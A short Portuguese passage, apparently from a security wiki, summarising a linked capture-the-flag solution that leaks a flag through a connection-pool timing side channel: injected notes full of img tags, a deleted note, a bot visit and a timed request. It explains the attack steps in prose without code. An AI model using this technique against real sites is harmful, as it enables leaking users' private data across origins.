Neste [**exploit**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-safelist-html), [**@terjanq**](https://twitter.com/terjanq) propõe mais uma solução para o desafio mencionado na página seguinte:

* O atacante injetará uma nota com o maior número possível de tags **`<img`** **carregando** **`/js/purify.js`** (mais de 6 para bloquear a origem).
* Em seguida, o atacante irá **remover** a **nota** com o índice 1.
* Em seguida, o atacante irá \[fazer o **bot acessar a página** com a nota restante] e enviará uma **requisição** para **`victim.com/js/purify.js`** que ele irá **cronometrar**.&#x20;

* Se o tempo for **maior**, a **injeção** estava na **nota** restante, se o tempo for **menor**, a **flag** estava lá.

Sinceramente, lendo o script, perdi parte em que o **atacante faz o bot carregar a página para acionar as tags img**, não vejo nada assim no código
